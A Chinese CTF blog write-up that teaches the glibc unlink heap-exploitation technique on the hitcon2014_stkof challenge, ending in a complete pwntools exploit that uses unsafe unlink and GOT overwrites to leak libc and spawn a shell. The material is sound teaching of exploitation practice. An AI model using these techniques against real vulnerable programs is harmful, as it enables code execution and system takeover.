感觉这块很难理解,看其他师傅的博客也看不太懂…死磕好几天之后决定自己动手写个简单易懂的!

unlink其实是glibc中定义的一个宏,在_int_free函数中被调用,作用就是把一个空闲的chunk从双向链表中拿出来。

只有在不是fast bin的情况下才会触发unlink。

定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#define unlink(AV, P, BK, FD) {                                            
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}

然后我们拆开来读一下这个宏

1
2
3
4
FD = P->fd;                                                                      
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

从当前要被拿出的chunk P中取出他的FD和BK,去检验FD的bk是不是P,BK的fd是不是P。这里是glibc引入的保护机制,如果没有这个检查,攻击者利用堆溢出伪造P->fd和P->bk指向任意地址,从而就能直接造成任意地址读写。

检查通过之后,就会让FD的bk指向BK,BK的fd指向FD,把P从链表中拿出来。也就是ctfwiki上这个图所演示的过程。

unlink 前后:双向链表摘除过程

unlink后的结果就是这样(如下图),也就是上图中第三块去掉P之后的样子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if (!in_smallbin_range (P->size)                                      
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}

这部分只针对large Bin中的chunk。large Bin除了基本的fd/bk双向链表外,还维护了一条按size排序的 fd_nextsize/bk_nextsize双向链表,用于加速查找。摘除时需要同时维护这两条链表。

0x02 如何利用

通过堆溢出伪造一个 fake_chunk,欺骗堆管理器在free的时候把它当成一个合法的空闲堆块进行unlink。

利用FD = P->fd;BK = P->bk;两次操作,劫持一个全局指针,实现任意地址读写。

0x03 例题 hitcon2014_stkof

因为buuctf的环境太诡异,这里直接patch成glibc-all-in-one里的libc-2.23来打的本地。

先对函数进行一个重命名,1是add,2是edit,3是delete。

函数分析

add

add 函数反编译

从用户输入读取最多15个字符,转为long long之后赋值给size。然后malloc一个对应大小的堆块,把指针返回给v2。

::s是一个全局数组,用于存储堆指针,dword_602100是一个全局变量,先把他+1,作为::s的索引,将v2存储进这个地方。然后打印出索引。

这是::s的地址,记一下,一会要用。

::s 全局数组的地址

edit

edit 函数反编译(存在堆溢出)

这里存在一个堆溢出,他没有校验我们输入的长度是否大于前面申请的堆块大小。

delete

delete 函数反编译

这个函数没什么问题,就是删除所选的堆块。

利用思路

这个程序没有关闭输入输出流,所以在首次调用fget和printf函数的时候会创建两个堆块。我们的第一个堆块会被这两个io_chunk夹在中间,没办法利用。所以我们需要额外创建三个chunk,chunk2(伪造 fake chunk 的载体)、chunk3(被free)、chunk4(放 “/bin/sh”)

如果我们在chunk2的data部分构造一个fake chunk,让这个fake chunk处于释放状态,修改chunk3的prev_size和size的标志位,让chunk3在释放的时候向前合并,就能利用unlink,实现任意地址写。

fake chunk的最小尺寸是0x30,所以chunk2的最小大小也就是0x30。计算方式如下

min=prev_size+size+fd+bk+next_prev+next_size

其中每个部分的大小都是0x8,也就是0x8*6=0x30。

为了正常利用,chunk3的prev_size也应该是0x30,并且size应该大于fast bin的最大值,即最小为0x90。

那fake chunk怎么构造呢?

  • prev_size:这里不会被读取,直接写0就可以了。

  • size:prev_size+size+next_prev+next_size=0x20,所以这里写0x20。

  • next_prev:chunk3的prev_size,也就是这里的next_prev必须等于前一个chunk即fake chunk的size,所以这里也是0x20。

  • next_size:不重要,随便写一个。

  • fd:我们目标修改的地方是0x602150(0x602140是::s的起始,idx=0,对应chunk2是idx=2,也就是0x602150),fd=0x602150-0x18

  • bk:0x602150-0x10

unlink 完成后,全局数组中 chunk2 对应的指针被改成 target-0x18。

此时通过 edit(2) 写入数据,就能修改全局数组里其他chunk的指针:把 chunk1 的指针改成 free_got,chunk2 的指针改成 puts_got,再用 edit(1) 把 chunk1 指向的内容写成 puts_plt。这样delete(2) 就会执行puts(puts_got)

泄露libc基地址后把free@got改成 system,再让 chunk4 里放 “/bin/sh”,delete(4) 就能getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
context(arch='amd64',log_level='debug',terminal=['tmux','split','-h'])
file = './pwn'
elf = ELF(file)

LD = '/home/eddy123/桌面/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64'
p = process([LD + '/ld-2.23.so', '--library-path', LD, file])
libc = ELF(LD + '/libc-2.23.so')

host = 'aaaa'
port = 1234
#p = remote(host, port)

s_addr=0x602150
free_got=elf.got['free']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

def add(size):
p.sendline(b'1')
p.sendline(str(size))
p.recvuntil(b'OK\n')

def edit(num,content):
p.sendline(b'2')
p.sendline(str(num))
p.sendline(str(len(content)))
p.send(content)

def delete(num):
p.sendline(b'3')
p.sendline(str(num))
p.recvuntil(b'OK\n')

add(0x30)
add(0x30)
add(0x90)
add(0x30)

payload=p64(0)
payload+=p64(0x30)

payload+=p64(s_addr-0x18)
payload+=p64(s_addr-0x10)
payload+=b'a'*(0x30-0x20)
payload+=p64(0x30)
payload+=p64(0xa0)


edit(2,payload)
delete(3)

payload2=b'c'*0x10
payload2+=p64(free_got)
payload2+=p64(puts_got)
edit(2,payload2)

edit(1,p64(puts_plt))

p.sendline(b'3')
p.sendline(b'2')

leak=u64(p.recvuntil(b'\n',drop=True)[-6:].ljust(8,b'\x00'))
p.recvuntil(b'OK\n')

print(hex(leak))
libc_addr=leak-libc.sym['puts']
log.success('libc base =',hex(libc_addr))

system=libc_addr+libc.sym['system']

payload=p64(system)

edit(1,payload)

edit(4,b'/bin/sh\x00')
p.sendline(b'3')
p.sendline(b'4')

p.interactive()